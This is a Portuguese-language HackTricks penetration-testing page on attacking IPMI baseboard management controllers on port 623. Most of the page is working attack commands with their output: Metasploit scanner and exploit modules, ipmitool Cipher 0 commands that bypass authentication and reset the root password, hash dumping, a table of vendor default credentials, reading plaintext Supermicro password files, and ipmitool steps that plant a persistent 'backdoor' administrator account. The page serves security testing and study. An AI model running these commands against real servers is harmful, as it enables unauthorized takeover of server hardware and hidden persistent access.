16 KiB
623/UDP/TCP - IPMI
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra The PEASS Family, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e hacktricks-cloud repo.
Informações Básicas
O Intelligent Platform Management Interface (IPMI
) é um conjunto de especificações padronizadas para sistemas de gerenciamento de host baseados em hardware usados para gerenciamento e monitoramento do sistema. Ele age como um subsistema autônomo e funciona independentemente do BIOS, CPU, firmware e sistema operacional subjacente do host. O IPMI fornece aos administradores de sistemas a capacidade de gerenciar e monitorar sistemas mesmo que eles estejam desligados ou em um estado não responsivo. Ele opera usando uma conexão de rede direta com o hardware do sistema e não requer acesso ao sistema operacional por meio de um shell de login. O IPMI também pode ser usado para atualizações remotas em sistemas sem exigir acesso físico ao host de destino. O IPMI é tipicamente usado de três maneiras:
- Antes que o sistema operacional seja iniciado para modificar as configurações do BIOS
- Quando o host está totalmente desligado
- Acesso a um host após uma falha do sistema
Quando não está sendo usado para essas tarefas, o IPMI pode monitorar uma variedade de coisas diferentes, como temperatura do sistema, voltagem, status do ventilador e fontes de alimentação. Ele também pode ser usado para consultar informações de inventário, revisar logs de hardware e alertar usando SNMP. O sistema host pode ser desligado, mas o módulo IPMI requer uma fonte de energia e uma conexão LAN para funcionar corretamente.
O protocolo IPMI foi publicado pela primeira vez pela Intel em 1998 e agora é suportado por mais de 200 fornecedores de sistemas, incluindo Cisco, Dell, HP, Supermicro, Intel e outros. Sistemas que usam a versão 2.0 do IPMI podem ser administrados via serial sobre LAN, dando aos administradores de sistemas a capacidade de visualizar a saída do console serial em banda. Para funcionar, o IPMI requer os seguintes componentes:
- Controlador de Gerenciamento de Placa Base (BMC) - Um microcontrolador e componente essencial de um IPMI
- Intelligent Chassis Management Bus (ICMB) - Uma interface que permite a comunicação de um chassi para outro
- Intelligent Platform Management Bus (IPMB) - estende o BMC
- Memória IPMI - armazena coisas como o log de eventos do sistema, dados do repositório de armazenamento e muito mais
- Interfaces de comunicação - interfaces do sistema local, interfaces seriais e LAN, ICMB e PCI Management Bus
Porta padrão: 623/UDP/TCP (geralmente está em UDP, mas também pode estar em TCP)
Enumeração
Descoberta
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
Você pode identificar a versão usando:
use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10
Vulnerabilidade - Bypass de Autenticação IPMI via Cipher 0
Dan Farmer identificou uma falha grave na especificação IPMI 2.0, ou seja, o tipo de cifra 0, um indicador de que o cliente deseja usar autenticação de texto simples, na verdade permite o acesso com qualquer senha. Problemas com o Cipher 0 foram identificados em BMCs da HP, Dell e Supermicro, sendo que o problema provavelmente abrange todas as implementações do IPMI 2.0.
Observe que, para explorar esse problema, você primeiro precisa encontrar um usuário válido.
Você pode identificar esse problema usando:
use auxiliary/scanner/ipmi/ipmi_cipher_zero
E você pode abusar desse problema com o ipmitool
:
apt-get install ipmitool #Install
#Using -C 0 any password is accepted
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list #Use Cipher 0 to dump a list of users
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 root true true true ADMINISTRATOR
3 Oper1 true true true ADMINISTRATOR
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 #Change the password of root
Vulnerabilidade - Recuperação Remota de Hash de Senha de Autenticação RAKP do IPMI 2.0
Basicamente, você pode solicitar ao servidor o MD5 e SHA1 salgados e hashados de qualquer nome de usuário e, se o nome de usuário existir, esses hashes serão enviados de volta. Sim, tão incrível quanto parece. E há um módulo do metasploit para testar isso (você pode selecionar a saída no formato John ou Hashcat):
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
Nota que para isso você só precisa de uma lista de nomes de usuário para força bruta (o metasploit já contém uma lista com nomes de usuário padrão).
Usando ipmitool
para burlar a autenticação (-c 0
) e alterar a senha de root para abc123:
root@kali:~# apt-get install ipmitool
root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 root true true true ADMINISTRATOR
3 Oper1 true true true ADMINISTRATOR
root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123
Vulnerabilidade - Autenticação Anônima IPMI
Além dos problemas de autenticação acima, Dan Farmer observou que muitos BMCs são enviados com acesso "anônimo" habilitado por padrão. Isso é configurado definindo o nome de usuário da primeira conta de usuário como uma string nula e definindo uma senha nula para corresponder. O módulo ipmi_dumphashes identificará e despejará as hashes de senha (incluindo senhas em branco) para contas de usuário nulas. Essa conta pode ser difícil de usar por conta própria, mas podemos aproveitar o ipmitool
para redefinir a senha de uma conta de usuário nomeada e aproveitar essa conta para acessar outros serviços:
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
1 false false true ADMINISTRATOR
2 root false false true ADMINISTRATOR
3 admin true true true ADMINISTRATOR
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword #Change the password of the user 2 (root) to "newpassword"
Vulnerabilidade - Senhas em texto claro do IPMI Supermicro
A especificação IPMI 2.0 exige que o BMC responda a métodos de autenticação baseados em HMAC, como SHA1 e MD5. Esse processo de autenticação tem algumas fraquezas graves, como demonstrado em exemplos anteriores, mas também requer acesso à senha em texto claro para calcular o hash de autenticação. Isso significa que o BMC deve armazenar uma versão em texto claro de todas as senhas de usuário configuradas em algum lugar do armazenamento não volátil. No caso da Supermicro, essa localização muda entre as versões do firmware, mas é /nv/PSBlock
ou /nv/PSStore
. As senhas estão espalhadas entre vários blocos binários, mas são fáceis de identificar, pois sempre seguem o nome de usuário. Isso é um problema sério para qualquer organização que usa senhas compartilhadas entre BMCs ou até mesmo diferentes tipos de dispositivos.
cat /nv/PSBlock
admin ADMINpassword^TT rootOtherPassword!
Vulnerabilidade - Supermicro IPMI UPnP
A Supermicro inclui um listener UPnP SSDP em execução na porta UDP 1900 no firmware IPMI de muitas de suas placas-mãe recentes. Nas versões anteriores a SMT_X9_218, este serviço estava executando o SDK Intel para Dispositivos UPnP, versão 1.3.1. Esta versão é vulnerável aos problemas divulgados pela Rapid7 em fevereiro de 2013, e um exploit para essa plataforma faz parte do Metasploit Framework. O interessante sobre esse ataque é que ele fornece acesso root completo ao BMC, algo que é difícil de obter de outra forma. Lembre-se de que um invasor com acesso administrativo, seja pela rede ou de um shell root no sistema host, pode rebaixar o firmware de um BMC Supermicro para uma versão vulnerável e, em seguida, explorá-lo. Uma vez que o acesso root é obtido, é possível ler credenciais em texto claro do sistema de arquivos, instalar software adicional e integrar backdoors permanentes no BMC que sobreviveriam a uma reinstalação completa do sistema operacional do host.
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
Brute Force
Observe que apenas a HP randomiza a senha durante o processo de fabricação.
Nome do Produto | Nome de Usuário Padrão | Senha Padrão |
---|---|---|
HP Integrated Lights Out (iLO) | Administrator | <cadeia de caracteres aleatórios de 8 caracteres> |
Dell Remote Access Card (iDRAC, DRAC) | root | calvin |
IBM Integrated Management Module (IMM) | USERID | PASSW0RD (com um zero) |
Fujitsu Integrated Remote Management Controller | admin | admin |
Supermicro IPMI (2.0) | ADMIN | ADMIN |
Oracle/Sun Integrated Lights Out Manager (ILOM) | root | changeme |
ASUS iKVM BMC | admin | admin |
Explorando o Host a partir do BMC
Uma vez obtido o acesso administrativo ao BMC, há vários métodos disponíveis que podem ser usados para obter acesso ao sistema operacional do host. O caminho mais direto é abusar da funcionalidade KVM do BMC e reiniciar o host para um shell root (init=/bin/sh no GRUB) ou especificar um disco de resgate como um CD-ROM virtual e inicializar a partir dele. Uma vez obtido o acesso bruto ao disco do host, é trivial introduzir uma porta dos fundos, copiar dados do disco rígido ou fazer qualquer coisa que precise ser feita como parte da avaliação de segurança. A grande desvantagem, é claro, é que o host tem que ser reiniciado para usar este método. Obter acesso ao host em execução é muito mais complicado e depende do que o host está executando. Se o console físico do host for deixado conectado, torna-se trivial sequestrá-lo usando a funcionalidade KVM integrada. O mesmo se aplica aos consoles seriais - se a porta serial estiver conectada a uma sessão autenticada, o BMC pode permitir que esta porta seja sequestrada usando a interface ipmitool para serial-over-LAN (sol). Um caminho que ainda precisa de mais pesquisa é abusar do acesso a hardware compartilhado, como o barramento i2c e o chip Super I/O.
Explorando o BMC a partir do Host
Em situações em que um host com um BMC foi comprometido, a interface local para o BMC pode ser usada para introduzir uma conta de usuário de porta dos fundos, e a partir daí estabelecer uma posição permanente no servidor. Este ataque requer que o ipmitool
esteja instalado no host e que o suporte ao driver esteja habilitado para o BMC. O exemplo abaixo demonstra como a interface local no host, que não requer autenticação, pode ser usada para injetar uma nova conta de usuário no BMC. Este método é universal em alvos Linux, Windows, BSD e até mesmo DOS.
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
4 backdoor true false true ADMINISTRATOR
Shodan
porta:623
Referências
- https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/
- https://academy.hackthebox.com/module/112/section/1245
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de cibersegurança? Você quer ver sua empresa anunciada no HackTricks? ou quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.